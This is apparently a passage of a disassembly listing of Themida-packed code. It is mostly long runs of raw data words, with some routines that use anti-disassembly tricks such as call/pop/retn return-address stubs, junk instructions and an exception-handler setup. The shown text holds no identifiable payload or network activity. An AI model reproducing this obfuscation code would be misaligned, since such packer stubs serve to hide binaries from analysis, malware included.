0DE900h, 8CA20000h, 0C0D1C77Ah, 0D4F8E2A7h, 8B8323ECh dd 2BA3F9B5h, 0F893B306h, 2B65858Bh, 6A0628h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 1B7DABC3h dd 1462E89Fh, 89988565h, 282361B5h, 6A068906h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 72B2C357h, 861F7020h, 858BAE43h, 62824C9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 63C35747h, 8733868Fh dd 365AE1ABh, 44689B7h, 0E850Fh, 89600000h, 281FE195h dd 558D8906h, 61062820h, 2267D781h, 89501719h, 6A2434h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 29536FC3h, 2819519Dh, 0B5FF5B06h, 62BA3F5h, 0DD6968F9h dd 830F4D0Dh, 5, 0C9F1B9BBh, 24348175h, 4D12DE96h, 1EDD9D89h dd 858D0628h, 62BA3FDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 2BC35040h, 0A2EB8B9Ch, 0FB8B2D2Dh, 0E990DC8Ah dd 8, 0DA77B6ADh, 0C8F4509Bh, 90FFB750h, 29C1BD03h, 95FF0628h dd 628176Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 55C35747h, 8A9BA460h, 2933E8C6h, 2818819Dh, 6A6106h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0A36F3AC3h, 0B822F5CAh, 2B5D73BDh, 282665BDh, 3D85C706h dd 3062811h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 78EBC352h, 850F8775h dd 6, 2625BD31h, 8B660628h, 0FDBD83D8h, 62BA3h, 57840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0D0ACACC3h, 292FAFAEh, 0BD8BB15Fh, 6283211h dd 0D9E78166h, 3EE930h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 74199BC3h, 951B0370h dd 0C3050F4h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 6FC35141h, 79E519CAh, 0F1A88B4h, 8Fh, 3DBD8300h dd 3062811h, 43C850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 88C572C3h, 0F9B70FA5h dd 0A3FDBD83h, 0F00062Bh, 40D84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FFAA54B0h dd 2BA3FDB5h, 0EA80BF06h, 95FF0ACDh, 6280E95h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0EDC35141h, 1A18D7C1h dd 0DF1BBD50h, 7FD703BBh, 259D330Ch, 8906282Ch, 281515B5h dd 0F1B58B06h, 6A062BA3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 6565C355h, 2F33AECCh dd 4800F6Dh, 50000000h, 0BB5BFE8Bh, 1A07F4AAh, 106C7h dd 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 9978FFC3h, 524743D5h, 18918D89h, 0F500628h dd 83h, 24348900h, 11E9h, 0C8F38400h, 3311758Ah, 0EE73B898h dd 7763D9E7h, 0B5FF1C61h, 62BA3FDh, 65E7BB66h, 201995FFh dd 6A0628h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0C203C9C3h, 0BFB5048h, 0B58B71CBh, 62BA3F1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 50C35040h dd 664AD576h, 8E59C781h, 17D5858Bh, 6A0628h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0D6B92FC3h dd 89FC8957h, 282CCD9Dh, 0C4868906h, 8B000000h, 28071595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0EED2B7C6h, 0D48C44B0h, 9E9h, 90773C00h dd 3688A078h, 0C2835015h, 38A0F04h, 57000000h, 50895FF9h dd 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0F2B766ACh, 8B581F22h, 2806319Dh, 1135BB06h dd 858D369Ch, 62BB8D9h, 0CE9h, 0C4C50600h, 0F4F167BDh dd 236D813Bh, 0B8868912h, 60000000h, 0B20639B8h, 958D3140h dd 61062802h, 8166006Ah, 0FF647AD3h, 2BA3FDB5h, 0FFFA8B06h dd 282CD195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0DDCB47h, 8BC1F979h, 282D8D9Dh, 0CE85006h dd 51000000h, 28AAC116h, 0A325E51Dh, 0F982FF8h, 68Eh, 840F00h dd 5F000000h, 6A243489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 5E1CC353h, 0B70FEE82h dd 0FDB5FFFFh, 29062BA3h, 28078DBDh, 0B995FF06h, 0F062829h dd 281h, 8323B300h, 280C55BDh, 840F0006h, 59h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 28C35141h, 0C9D18EEEh dd 38530E1Eh, 525096B2h, 475A7BFh, 0F310F41h, 0F84h, 0AE900h dd 0DA5C0000h, 2CE64552h, 0AD315863h, 6050585Ah, 5810Fh dd 0BAB90000h, 0B00E236Fh, 8B9661C9h, 0FDB5FFDAh, 0BF062BA3h dd 3BA0E8Eh, 228595FFh, 0DE90628h, 0E9000000h, 55D29C04h dd 18A68EBDh, 0B1AAF083h, 0A3FDB5FFh, 0B529062Bh, 62802E5h dd 10C195FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 2AE11BC3h, 33D8DCF9h, 57629391h dd 10E8h, 1B7A3800h, 9FB3F0C2h, 8B827D30h, 5DD1BAE1h, 8A0FCDh dd 5F000000h, 61BD835Fh, 2062818h, 3E840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 96745C3h, 8DCECA12h, 8B062F26h, 28125985h, 0C6F806h dd 60D88B00h, 26E5BD0Bh, 81660628h, 6165F9E9h, 130585C7h dd 628h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 426C8FC3h, 0CCC53EFDh, 0F98B660Eh dd 0DEE9F9FCh db 0F3h, 0FFh ; --------------------------------------------------------------------------- loc_594F42: ; DATA XREF: ___:00438C88o jmp fword ptr [edx+0] ; --------------------------------------------------------------------------- push edi call sub_594F4E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594F4E proc near ; CODE XREF: Themida_:00594F46p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_594F4E endp ; --------------------------------------------------------------------------- mov ds:1D9FF66Ch, eax inc edx add al, 7Fh push edx jmp loc_594F7A ; --------------------------------------------------------------------------- dd 0AA5D1C9Eh, 0F0367D3Ch, 0F87C1E87h db 5Eh, 86h ; --------------------------------------------------------------------------- loc_594F7A: ; CODE XREF: Themida_:00594F67j pop edi mov eax, ecx jmp loc_594F8D ; --------------------------------------------------------------------------- dw 3D61h dd 0B72A3F10h, 6636AB86h db 69h ; --------------------------------------------------------------------------- loc_594F8D: ; CODE XREF: Themida_:00594F7Dj lea eax, [ebp+6282C05h] push 0 push esi call sub_594F9E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594F9E proc near ; CODE XREF: Themida_:00594F96p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_594F9E endp ; --------------------------------------------------------------------------- dw 0E806h dd 0Ch, 2D1F9DF3h, 8DBE34C8h, 0FA475B96h, 0BE9505Fh, 0FA000000h dd 44AB3CF8h, 0C475CF19h, 48999EDh, 0F2BF6624h, 6A006A6Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0FB04C351h, 8084894Fh, 6AB1D7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B7C35646h, 8E90656h dd 95000000h, 4834821Ch, 8DBBB462h, 2CBE6F85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 3DDAC975h, 0E9F35F1Bh, 14h, 563A32EDh, 872AAFC3h, 926D7638h dd 25D80ED5h, 0BAEF8438h, 6A05C083h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 50ECC353h dd 0CE8h, 0A5C65100h, 7FD5ED48h, 0E5A1573Eh, 14E8B1h, 1C9F0000h dd 52B0AC8Ch, 0B4E01C53h, 0C41B24A1h, 0D30466BBh, 5250109Fh dd 585A310Fh, 4895F5Fh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 6AC08Ah, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 27C35141h, 28CA9C5Ch dd 549ED13Dh, 56006A28h, 0ED1BD89h, 0FF5B0628h, 28243195h dd 0F38D8D06h, 6A062B94h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0CAF3C353h, 26E344A5h dd 0FFF6A955h, 0DE8B66D1h, 2415BD83h, 0F010628h, 6385h dd 0DE800h, 37750000h, 4EA4A5EAh, 0E43BA990h, 1982D6Fh dd 282AE995h, 0BD8B5B06h, 6280EB9h, 8060026Ah, 5061E9EEh dd 529D73BFh, 24048962h, 6E9h, 6036D00h, 0FF693E39h, 282CD195h dd 11E806h, 5F570000h, 0D1525DFh, 99F9614Ah, 0B73FD324h dd 89ECE105h, 2810558Dh, 0BD035B06h, 6283399h, 0E9EE9h dd 0E800h, 815D0000h, 2CBE79EDh, 119D0306h, 89062801h dd 280829B5h, 0D8B70F06h, 85B0858Dh, 9529062Bh, 628326Dh dd 6650D98Bh, 89DCBEBBh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 9F3DF6C3h, 6B9B33DAh dd 0BF0FCD8Ch, 35FF64F9h, 0 ; --------------------------------------------------------------------------- add bh, 0F8h mov large fs:0, esp mov edi, ebx inc dword ptr [ebp+6281659h] call near ptr loc_595238+2 aam 42h aad 0FEh sbb eax, [esi] add [eax+25h], eax loc_595238: ; CODE XREF: Themida_:0059522Ap adc [edi+17B59D2Bh], dh sub [esi], al pop ebx push 0FFFFFFFFh mov edi, [ebp+628272Dh] push dword ptr [ebp+62826C9h] push 0 push esi call sub_59525A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59525A proc near ; CODE XREF: Themida_:00595252p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_59525A endp ; --------------------------------------------------------------------------- dw 0D1A7h ; --------------------------------------------------------------------------- and [ecx+10AE6B6Dh], bl xchg ch, [esi+4E19D8Bh] sub [esi], al call dword ptr [ebp+6282DC1h] jmp loc_5953AC ; --------------------------------------------------------------------------- db 60h, 89h, 8Dh dd 6281E9Dh, 2037B866h, 0E800B061h, 0Dh, 29A8946Dh, 428C2A12h dd 9C8071DDh, 8E9CEh, 49C00000h, 56BE2F6Eh, 0E65BCF6Fh dd 10E970h, 0D3870000h, 6C948130h, 0BB236411h, 821231B7h dd 71E4219Ah, 0BD29F98Ah, 62832D9h, 830F613Ch, 0D0h, 24198D89h dd 0B60F0628h, 6870FC8h, 29000000h, 28104585h, 6BA06h dd 95890000h, 6281F21h, 0BD8BC18Bh, 6282CE9h, 0BB04E8C1h dd 1107ED99h, 60E2F766h, 0D78087B0h, 0C82B6148h, 35C38166h dd 89D18BC3h, 28180595h, 82E906h, 8D890000h, 6280521h dd 8858Bh, 0C0830000h, 0F88B6607h, 4870Fh, 0BB660000h dd 0C083EB91h, 5E900h, 0C0390000h, 3B2E337Fh, 1A830FD0h dd 0E9000000h, 0Dh, 32967240h, 3DDAC975h, 0B5F35F1Bh, 3AE9E9h dd 8B660000h, 0FF8D8BDAh, 9FFFFFFh, 2821B59Dh, 1E18306h dd 22840Fh, 0F88B0000h, 6099D8Bh, 0A5830628h, 0FFFFFFFFh dd 89DD8AFEh, 895h, 0FBBF6600h, 0E9F98BA3h, 0 ; --------------------------------------------------------------------------- loc_5953AC: ; CODE XREF: Themida_:00595280j lea esi, [ebp+62C35C7h] push 0 push esi call sub_5953BD and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5953BD proc near ; CODE XREF: Themida_:005953B5p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5953BD endp ; --------------------------------------------------------------------------- db 5, 8Fh, 8 dd 17840FDCh, 0E9000000h, 12h, 0A450AB58h, 0A4FB0B4Bh dd 3F46F8D4h, 0B06C45C0h, 8D0F3A92h, 4, 7604BF66h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 78EAA0C3h, 0AE8D75Ah, 9C000000h, 0FE6D2A5Dh, 44003263h dd 25BD8BDCh, 5F06280Fh, 4225DB81h, 95FF7868h, 6280465h dd 0D92CD781h, 5EB9731Dh, 0E900000Fh, 13h, 590E0473h, 1AE799BAh dd 0AFEE225h, 0E6C9091Ch, 830201B8h, 870FFCE1h, 6, 2BC59D89h dd 6AFC0628h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 4921C356h, 52D442BFh, 0D860F59h dd 0E9000000h, 8, 0BF24C526h, 60862A2Ch, 0B8h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 98D741ACh, 2B5BEB80h, 52006AD2h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0B360DADAh, 1730190Fh dd 22BB660Bh, 11BD295Eh, 0AD062832h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0F285C356h, 10E9h, 99BB7D00h dd 0EEF06706h, 64540A26h, 92D0C044h, 55006A1Ah, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0B5ED9C8h dd 2804A1BDh, 880D06h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 7AC146C3h, 958B80DAh dd 6280715h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 82C35747h, 0EC430C2Bh, 896B9560h, 282009B5h, 35BD8906h dd 8B062832h, 2821BD8Dh, 59BD8B06h, 50062829h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 70799984h dd 56006ADEh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 633F1F9Fh, 663E3CBDh, 0BD83F88Bh, 62825A1h dd 61840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0B05EC355h, 18B6E4D4h dd 8B4E27B3h, 0B8D8h, 0BEB30000h, 4F6E8D8Dh, 0D7800628h dd 6AE1FF97h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0BCAEC353h, 920DEDF0h, 9D2B92B5h dd 6283365h, 113DBD83h, 0F000628h, 4E784h, 0FBBF0F00h dd 113DBD83h, 0F010628h, 4F284h, 0C3816600h, 9D8B32E1h dd 628196Dh, 113DBD83h, 0F030628h, 4A486h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0FE8AA9EAh, 55006A60h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0EFED6ABCh, 3880F8Dh dd 80000000h, 8C6699DBh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 793A17E9h, 49B27413h dd 13E8h, 0B2161000h, 0C68B2923h, 4CFD58CFh, 3CA38994h dd 342E5424h, 6AC86ABFh, 0E1805F6Fh, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0CC2DF46h dd 0BBECCA48h, 37C121h, 840FC90Ah, 15Bh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 0C9C35242h, 3FCB1988h dd 499D897Fh, 8B06281Dh, 2824C985h, 0B9BB6606h, 68F0F05h dd 8B000000h, 281F299Dh, 5853306h, 6606282Dh, 586C781h dd 0E9525050h, 0Dh, 0AFEA613Dh, 70A636EBh, 42552965h, 5A310F8Ch dd 24048958h, 0AFDF8166h, 6A006AA2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 8E68C355h dd 0CCF2516Bh, 8195E5CDh, 51AEEDFh, 0EE802h, 53FD0000h dd 8C97D4D1h, 59D75859h, 514DE381h, 14E19D33h, 685F0628h dd 0F080BCF1h, 481FC8Ah, 9E470E24h, 53006A0Fh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 53162391h dd 68B0Fh, 9D890000h, 6282B91h, 176D95FFh, 6A0628h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0F606CC3h, 680h, 25BD2300h, 0E806281Dh, 0Dh, 58CC8F89h dd 0C694F390h, 6B4D2DC2h, 599531CEh, 5806281Ah, 0DBBF0F61h dd 12E9h, 44A80900h, 481F52C4h, 0D7B183E7h, 0F990FEC8h dd 89FA071Ah, 2BA3FD85h, 0E9DE8A06h, 1D8h, 8BFBBF0Fh, 2BA3F585h dd 0FB8B6606h, 1800C7h, 85290000h, 6280455h, 0A3F9B58Bh dd 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0D6F4C6C3h, 344D9D23h, 858B0628h, 6282B65h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B4C35646h dd 893FC5C3h, 2D6B5A14h, 58F0Fh, 81660000h, 895383D7h dd 0CE806h, 0E65B0000h, 0CBEDCEEAh, 44C8DD43h, 8D89E6E4h dd 6282D09h, 0C9858B5Bh, 6A062824h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2885C353h dd 0C5C9F65Eh, 9D29201Dh, 6282735h, 96044689h, 52506060h dd 585A310Fh, 61D78B66h, 0D948B866h, 0BB665061h, 6696F2E8h dd 0B5FFD98Bh, 62BA3F5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 79C35747h, 4F689307h, 0B7417884h, 24348178h dd 416787B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 73C35646h, 9CE67581h, 0F211F234h, 0FD858D8Ch, 6A062BA3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 761BC355h, 0DB4ADFBEh, 85B79008h, 0E9525050h dd 9, 15D5E389h, 0C57E557Dh, 0B7310F0Ch, 90585A3Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 59C35545h, 0BEE58CA3h dd 0B3698F4Ch, 0DBB70F55h, 176D95FFh, 6A0628h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 343835C3h, 8A0AD42Eh, 191DBD8Bh, 5E90628h, 0CC000000h dd 4610F6Bh, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 66879C07h, 85C7D98Bh, 628113Dh, 3 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D5C35747h dd 4CAE2FDEh, 9D09C21Fh, 6281239h, 0A3FDBD83h, 0F00062Bh dd 5484h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 2E7DE471h, 5BBB87C3h, 47E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 9D5532B6h, 4D9D8941h, 29062800h, 2818ADB5h, 0C305006h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4DC35141h dd 0BD89B9DAh, 6280E05h, 113DBD83h, 0F030628h, 45785h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 1747AEF8h, 2CE024D8h, 14E955h, 60140000h dd 4136CC6Dh, 91C3A0B9h, 0E555CA03h, 0A4D4F0EDh, 0BD83D0DFh dd 62BA3FDh, 0D840F00h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 395CC356h dd 0A2228744h, 0FF0EF47Eh, 2BA3FDB5h, 0FFF6B306h, 280E9595h dd 0B58BF906h, 62BA3F1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0A1C35040h, 8B6414A3h, 2820F1BDh, 106C706h dd 89000100h, 2804F9BDh, 34895006h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 709FF369h dd 0F1DB589h, 0B5FF0628h, 62BA3FDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0E2C35040h, 0F58DDC7Ch, 201995FFh dd 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0E6402CC3h, 66E65CB1h, 0B58BF98Bh, 62BA3F1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B0C35141h dd 0A5CC6A15h, 8B396BD6h, 2817D585h, 8689F506h, 0C4h, 958BFB8Bh dd 6280715h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 46C35141h, 0FCF88B4Eh, 0B04C283h, 2806D9BDh, 20508906h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D2C35646h dd 2CE3EA4Dh, 2EF99D8Bh, 0BD8B0628h, 62810C5h, 0B8D9858Dh dd 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0C91037C3h, 8B0E386Fh, 281985BDh, 0B8868906h dd 0F000000h, 0A8Fh, 5F566000h, 7C58D29h, 6A610628h, 89BD8B00h dd 0FF062818h, 2BA3FDB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0C2A5C05Fh dd 0FFB5E78Ah, 282CD195h, 58F0F06h, 0BF000000h, 70B97B69h dd 0E9525096h, 0Ah, 0BB136690h, 0E3CEC8C7h, 310FA3B0h dd 830F60h, 66000000h, 5A61F78Bh, 66605058h, 0E8DA54BFh dd 9, 7C9784Fh, 0A2B5A2A3h, 5B616087h, 6A9661h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 7247A3C3h, 28F98D89h, 0DF810628h, 50B40E31h, 0A3FDB5FFh dd 9589062Bh, 62833C5h, 29B995FFh, 0DF800628h, 55BD83DBh dd 6280Ch, 40840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 752780C3h, 0F52F6BACh dd 6096C3F5h, 10E9h, 4787CF00h, 0DA006866h, 2C25843Eh dd 3AF23F28h, 0B7506116h, 0B5FF96D5h, 62BA3FDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0F2C35545h, 0D5B1D146h dd 0FEB70FABh, 0D3E38157h, 5F6E172Bh, 228595FFh, 8B660628h dd 0FDB5FFDEh, 60062BA3h, 11499D8Bh, 61F80628h, 13E9h dd 7CBA3A00h, 79723574h, 0D1BDB1Bh, 0A84D1880h, 959CFDA8h dd 10C195FFh, 6A0628h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0A8A3D5C3h, 8348402Eh, 281861BDh dd 840F0206h, 81h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0CCC35242h, 0A30DBB66h, 1259858Bh, 6A0628h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 875BD6C3h, 13E843h, 6100000h, 1EBF4678h, 268BC9A4h dd 3ED15D0Dh, 4FA404B1h, 5FDF8B18h, 6A0000C6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 2044C352h, 585C752h, 62813h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 39B6C353h dd 0CFE7B40Eh, 9529A5F3h, 6281185h, 0FFF200E9h, 8E8FFh dd 0F4B80000h, 0F39FEC10h, 0BD290075h, 6282319h, 8DC18B5Bh dd 282C0585h, 52505006h, 0C54642BFh, 0B7310F70h, 89585ADFh dd 6A2404h, 159D8Bh, 6A0628h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 8CC35040h, 0AE17BDB4h, 0EE9h dd 34310100h, 0A61EF131h, 0E1C4E928h, 8DA8097Dh, 2CCEFF85h dd 83FB8B06h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 82CC99C3h, 80BE3F04h, 0E950FAE7h dd 0Ah, 6ADC2377h, 89988A8Dh, 489CC8Fh, 0E7816624h, 6A55CAh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 98C35747h dd 99BD8964h, 6A062829h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 32865CD1h, 7C9D3E05h dd 830Fh, 8D890000h, 62806BDh, 243195FFh, 7E80628h, 3E000000h dd 25CCEAACh, 5EB3CEA4h, 7E85Fh, 0AFA30000h, 6296A28Ah dd 0B19D8B82h, 5B062820h, 94F38D8Dh, 860F062Bh, 3, 0FFDF8B66h dd 5850FD1h, 0BF000000h, 16867B31h, 2415BD83h, 0F010628h dd 0AB85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 633BAEA4h, 6A026Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 732D60C3h dd 0E5DA614Dh, 0BB2DBB66h, 0D88B6690h, 53525050h, 0F5BECB7h dd 90585A31h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 3DC35242h, 34F992C9h, 17FDBD89h, 0CDBB0628h, 0FF40103Dh dd 282CD195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 406FC1D5h, 0B78F1C3h, 0E8EE9h, 0E800h dd 815D0000h, 2CCF09EDh, 2D8D3106h, 6A062833h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 5051C353h, 9D8B88EAh, 6281A45h, 85B0858Dh, 14E9062Bh dd 8A000000h, 675849C2h, 0C7FEE962h, 80A1F895h, 0A5BA5D6Ch dd 5026CFF4h, 3810Fh, 8B660000h, 240489D8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 82C35545h, 0EDBD8969h dd 64062828h, 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0D15C4AC3h, 97BAF70Fh dd 7776EF81h, 0E7812F7Dh, 0C5DBBBDh, 258964h, 0FF000000h dd 28165985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 9D89C24Bh, 6283399h, 6AFF6Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8BF97EC3h, 281055BDh, 15B5FF06h, 6A062811h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0BD3FC350h, 7E8h, 0CF400B00h, 367ED432h, 5E9h, 4D4A0100h dd 0FF5BEE52h, 282DC195h, 119E906h, 0BD890000h, 628327Dh dd 8ED8BB66h, 0BB6600B0h, 0FA8B40A0h, 0B58970E6h, 62820A1h dd 719D8B53h, 5B062809h, 870F71E4h, 9, 38F0Fh, 0BF0F0000h dd 0F613CF8h, 0DE83h, 5850900h, 0F062800h, 0D8BBC8B6h dd 0BA4DFB00h, 6, 66FDF780h, 0C18BF88Bh, 6860Fh, 8D290000h dd 6280EDDh, 6604E8C1h, 0F766D98Bh, 0D9B529E2h, 2B062826h dd 0FE9C8h, 3B420000h, 47851A47h, 5F1A21F4h, 0ABC17978h dd 8D0960CBh, 6281F75h, 32998D01h, 8B610628h, 0DF8B66D1h dd 7AE9h, 